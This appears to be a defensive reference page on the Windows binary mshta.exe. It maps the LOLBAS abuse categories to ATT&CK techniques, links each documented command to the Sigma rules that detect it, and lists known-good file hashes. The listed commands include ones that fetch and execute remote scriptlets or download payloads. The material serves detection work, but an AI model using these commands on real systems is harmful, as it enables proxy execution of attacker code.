Identifier / Programs / Windows
mshta.exe
Microsoft (R) HTML Application host file version info (xCyclopedia)
LOLBAS Execute, ADS, Download 54 Sigma rules name it 6 ATT&CK techniques 5 documented commands 12 known copies with hashes
How mshta.exe is abused
Execute T1218.005 System Binary Proxy Execution: Mshta
ADS T1218.005 System Binary Proxy Execution: Mshta
Download T1105 Ingress Tool Transfer
Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for mshta.exe.
5 documented commands
Execute T1218.005 System Binary Proxy Execution: Mshta User privileges
Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.
mshta.exe {PATH:.hta}IdentifyTrips no Sigma process-creation rule.
Execute T1218.005 System Binary Proxy Execution: Mshta User privileges
Executes VBScript supplied as a command line argument.
mshta.exe vbscript:Close(Execute("GetObject(""script:{REMOTEURL:.sct}"")"))IdentifyTrips 2 Sigma rules: highMSHTA Execution with Suspicious File Extensions by Diego Perez (@darkquassar), Markus Neis, Swisscom (Improve Rule), Swachchhanda Shrawan Poudel (Nextron Systems); highRemotely Hosted HTA File Executed Via Mshta.EXE by Nasreddine Bencherchali (Nextron Systems)
Execute T1218.005 System Binary Proxy Execution: Mshta User privileges
Executes JavaScript supplied as a command line argument.
mshta.exe javascript:a=GetObject("script:{REMOTEURL:.sct}").Exec();close();IdentifyTrips 2 Sigma rules: highRemotely Hosted HTA File Executed Via Mshta.EXE by Nasreddine Bencherchali (Nextron Systems); highSuspicious JavaScript Execution Via Mshta.EXE by E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community
ADS T1218.005 System Binary Proxy Execution: Mshta User privileges
Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.
mshta.exe "{PATH_ABSOLUTE}:file.hta"IdentifyTrips no Sigma process-creation rule.
Download T1105 Ingress Tool Transfer User privileges
It will download a remote payload and place it in INetCache.
mshta.exe {REMOTEURL}IdentifyTrips 1 Sigma rule: highRemotely Hosted HTA File Executed Via Mshta.EXE by Nasreddine Bencherchali (Nextron Systems)
3 of the 5 commands the identifier reads trip a Sigma process-creation rule; 2 trip none. These commands and their descriptions are from LOLBAS’s entry for mshta.exe, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for mshta.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.
What detects it
And 24 more rules that name mshta.exe.
Is it the real mshta.exe?
C:\Windows\system32\C:\Windows\SysWOW64\12 known copies
11.00.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\mshta.exe · signed by Microsoft Windows
4ed8a115fa1dcfd532397b800775c1b54d2d407b52118b5423e94ff1ce855d7e11.00.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\mshta.exe · signed by Microsoft Windows
9820174c7ec2fc3b3410609045bbd56a8f9d20e6ae52515aba7c9e6b60312d9711.00.19041.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\mshta.exe · signed by Microsoft Windows
213ab5658e44f2a111c5e4cffa043660bc49307ebb1b7eedd21dbddca5da41ac11.00.19041.1 (WinBuild.160101.0800) · C:\Windows\system32\mshta.exe · signed by Microsoft Windows
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb89511.00.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\mshta.exe · signed by Microsoft Windows
229ebba62347b77ea2ffad93308e7052bdae39a24ea828d6ef93fe694ca6219711.00.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\mshta.exe · signed by Microsoft Windows
4b82cfc44029d3d8462d60322fa0dbde20f36c9c6791fa6f9b9f6a96fe44bf0911.00.17763.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\mshta.exe · signed by Microsoft Windows
12c94c614fb752dc1f6797b5fb3ad67719e3c924facda35dc36792c8e5ac45fc11.00.17763.1 (WinBuild.160101.0800) · C:\Windows\system32\mshta.exe · signed by Microsoft Windows
e616c5ce71886652c13e2e1fa45a653b44d492b054f16b15a38418b8507f57c711.00.14393.0 (rs1_release.160715-1616) · C:\Windows\SysWOW64\mshta.exe · signed by Microsoft Windows
5b6429b98adf532e6f694c9a6cd1a1943b4aa3d5ea524d4fb353939fd9c6134211.00.14393.0 (rs1_release.160715-1616) · C:\Windows\system32\mshta.exe · signed by Microsoft Windows
9d58f407ac581db4a39066f7cb549bf73709ec3d81ef352801c9fb0235ea7fbc11.00.9600.16384 (winblue_rtm.130821-1623) · C:\windows\SysWOW64\mshta.exe · not signed
515437a6721142081c0706dbb18d11f6b294490389f688addda41ced8301c09411.00.9600.16384 (winblue_rtm.130821-1623) · C:\windows\system32\mshta.exe · not signed
a5e64d89ac3b70aa8d02717c5ab69ec79714e9bd6765d17474abafee3409044cFrom the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.